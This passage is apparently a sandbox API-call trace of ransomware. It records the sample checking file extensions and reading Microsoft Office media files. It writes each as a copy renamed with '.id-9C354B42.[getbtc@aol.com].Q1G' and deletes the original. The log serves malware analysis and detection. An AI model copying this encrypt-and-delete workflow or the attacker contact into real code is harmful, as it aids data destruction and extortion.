(lpString=".ppt") returned 4 [0246.616] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.617] lstrlenW (lpString=".zip") returned 4 [0246.617] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.617] lstrlenW (lpString=".rar") returned 4 [0246.617] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.617] lstrlenW (lpString=".bz2") returned 4 [0246.617] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.617] lstrlenW (lpString=".7z") returned 3 [0246.617] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.617] lstrlenW (lpString=".dbf") returned 4 [0246.617] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.617] lstrlenW (lpString=".1cd") returned 4 [0246.617] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.617] lstrlenW (lpString=".jpg") returned 4 [0246.617] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.617] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0246.617] lstrlenW (lpString="AUTOSHAP.DLL") returned 12 [0246.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.623] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=15776) returned 1 [0246.623] CloseHandle (hObject=0x3a8) returned 1 [0246.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20 [0246.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.732] lstrlenW (lpString=".doc") returned 4 [0246.732] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.732] lstrlenW (lpString=".docx") returned 5 [0246.732] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0246.732] lstrlenW (lpString=".pdf") returned 4 [0246.732] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.732] lstrlenW (lpString=".xls") returned 4 [0246.732] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.733] lstrlenW (lpString=".xlsx") returned 5 [0246.733] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0246.733] lstrlenW (lpString=".ppt") returned 4 [0246.733] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.733] lstrlenW (lpString=".zip") returned 4 [0246.733] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.733] lstrlenW (lpString=".rar") returned 4 [0246.733] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.733] lstrlenW (lpString=".bz2") returned 4 [0246.733] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.733] lstrlenW (lpString=".7z") returned 3 [0246.733] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.733] lstrlenW (lpString=".dbf") returned 4 [0246.733] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.733] lstrlenW (lpString=".1cd") returned 4 [0246.733] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.733] lstrlenW (lpString=".jpg") returned 4 [0246.734] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.734] lstrlenW (lpString=".doc") returned 4 [0246.734] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.734] lstrlenW (lpString=".docx") returned 5 [0246.734] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0246.734] lstrlenW (lpString=".pdf") returned 4 [0246.734] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.734] lstrlenW (lpString=".xls") returned 4 [0246.734] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.734] lstrlenW (lpString=".xlsx") returned 5 [0246.734] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0246.734] lstrlenW (lpString=".ppt") returned 4 [0246.734] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.734] lstrlenW (lpString=".zip") returned 4 [0246.734] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.734] lstrlenW (lpString=".rar") returned 4 [0246.734] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.735] lstrlenW (lpString=".bz2") returned 4 [0246.735] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.735] lstrlenW (lpString=".7z") returned 3 [0246.735] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.735] lstrlenW (lpString=".dbf") returned 4 [0246.735] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.735] lstrlenW (lpString=".1cd") returned 4 [0246.735] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0246.735] lstrlenW (lpString=".jpg") returned 4 [0246.735] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.735] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0246.735] lstrlenW (lpString="LINES.DLL") returned 9 [0246.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.746] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=15256) returned 1 [0246.746] CloseHandle (hObject=0x3b0) returned 1 [0246.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20 [0246.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.747] lstrlenW (lpString=".doc") returned 4 [0246.747] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.747] lstrlenW (lpString=".docx") returned 5 [0246.747] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0246.747] lstrlenW (lpString=".pdf") returned 4 [0246.747] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.747] lstrlenW (lpString=".xls") returned 4 [0246.747] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.747] lstrlenW (lpString=".xlsx") returned 5 [0246.748] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0246.748] lstrlenW (lpString=".ppt") returned 4 [0246.748] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.748] lstrlenW (lpString=".zip") returned 4 [0246.748] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.748] lstrlenW (lpString=".rar") returned 4 [0246.748] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.748] lstrlenW (lpString=".bz2") returned 4 [0246.748] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.748] lstrlenW (lpString=".7z") returned 3 [0246.748] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.748] lstrlenW (lpString=".dbf") returned 4 [0246.748] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.748] lstrlenW (lpString=".1cd") returned 4 [0246.748] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.748] lstrlenW (lpString=".jpg") returned 4 [0246.748] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.748] lstrlenW (lpString=".doc") returned 4 [0246.748] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.748] lstrlenW (lpString=".docx") returned 5 [0246.748] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0246.748] lstrlenW (lpString=".pdf") returned 4 [0246.748] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.748] lstrlenW (lpString=".xls") returned 4 [0246.748] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.748] lstrlenW (lpString=".xlsx") returned 5 [0246.748] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0246.748] lstrlenW (lpString=".ppt") returned 4 [0246.749] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.749] lstrlenW (lpString=".zip") returned 4 [0246.749] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.749] lstrlenW (lpString=".rar") returned 4 [0246.749] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.749] lstrlenW (lpString=".bz2") returned 4 [0246.749] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.749] lstrlenW (lpString=".7z") returned 3 [0246.749] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.749] lstrlenW (lpString=".dbf") returned 4 [0246.749] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.749] lstrlenW (lpString=".1cd") returned 4 [0246.749] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0246.749] lstrlenW (lpString=".jpg") returned 4 [0246.749] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.749] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0246.749] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0246.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.750] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=15776) returned 1 [0246.750] CloseHandle (hObject=0x3b0) returned 1 [0246.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20 [0246.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString=".doc") returned 4 [0246.752] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.752] lstrlenW (lpString=".docx") returned 5 [0246.752] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0246.752] lstrlenW (lpString=".pdf") returned 4 [0246.752] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.752] lstrlenW (lpString=".xls") returned 4 [0246.752] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.752] lstrlenW (lpString=".xlsx") returned 5 [0246.752] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0246.752] lstrlenW (lpString=".ppt") returned 4 [0246.752] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString=".zip") returned 4 [0246.752] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.752] lstrlenW (lpString=".rar") returned 4 [0246.752] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.752] lstrlenW (lpString=".bz2") returned 4 [0246.752] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.752] lstrlenW (lpString=".7z") returned 3 [0246.752] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString=".dbf") returned 4 [0246.752] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString=".1cd") returned 4 [0246.752] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString=".jpg") returned 4 [0246.752] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.752] lstrlenW (lpString=".doc") returned 4 [0246.752] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.753] lstrlenW (lpString=".docx") returned 5 [0246.753] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0246.753] lstrlenW (lpString=".pdf") returned 4 [0246.753] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.753] lstrlenW (lpString=".xls") returned 4 [0246.753] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.753] lstrlenW (lpString=".xlsx") returned 5 [0246.753] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0246.753] lstrlenW (lpString=".ppt") returned 4 [0246.753] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.753] lstrlenW (lpString=".zip") returned 4 [0246.753] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.753] lstrlenW (lpString=".rar") returned 4 [0246.753] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.753] lstrlenW (lpString=".bz2") returned 4 [0246.753] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.753] lstrlenW (lpString=".7z") returned 3 [0246.753] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.754] lstrlenW (lpString=".dbf") returned 4 [0246.754] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.754] lstrlenW (lpString=".1cd") returned 4 [0246.754] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0246.754] lstrlenW (lpString=".jpg") returned 4 [0246.754] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.754] lstrcmpiW (lpString1=".MMW", lpString2=".Q1G") returned -1 [0246.754] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0246.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.754] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=492624) returned 1 [0246.754] CloseHandle (hObject=0x3b0) returned 1 [0246.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0246.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.755] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.755] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0246.755] GetLastError () returned 0x0 [0246.755] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x78450, lpOverlapped=0x0) returned 1 [0246.767] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x78460, lpOverlapped=0x0) returned 1 [0246.856] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.856] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.856] SetEndOfFile (hFile=0x3b4) returned 1 [0247.319] CloseHandle (hObject=0x3b4) returned 1 [0247.320] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.320] SetEndOfFile (hFile=0x3b0) returned 1 [0247.330] CloseHandle (hObject=0x3b0) returned 1 [0247.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1 [0247.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.331] lstrlenW (lpString=".doc") returned 4 [0247.331] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0247.331] lstrlenW (lpString=".docx") returned 5 [0247.331] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0247.331] lstrlenW (lpString=".pdf") returned 4 [0247.331] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0247.331] lstrlenW (lpString=".xls") returned 4 [0247.331] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0247.331] lstrlenW (lpString=".xlsx") returned 5 [0247.331] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0247.331] lstrlenW (lpString=".ppt") returned 4 [0247.331] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0247.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.332] lstrlenW (lpString=".zip") returned 4 [0247.332] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0247.332] lstrlenW (lpString=".rar") returned 4 [0247.332] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0247.332] lstrlenW (lpString=".bz2") returned 4 [0247.332] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0247.332] lstrlenW (lpString=".7z") returned 3 [0247.332] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0247.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.332] lstrlenW (lpString=".dbf") returned 4 [0247.332] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0247.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.332] lstrlenW (lpString=".1cd") returned 4 [0247.332] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0247.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.332] lstrlenW (lpString=".jpg") returned 4 [0247.332] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0247.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.332] lstrlenW (lpString=".doc") returned 4 [0247.332] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0247.332] lstrlenW (lpString=".docx") returned 5 [0247.332] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0247.332] lstrlenW (lpString=".pdf") returned 4 [0247.332] lstrcmpiW 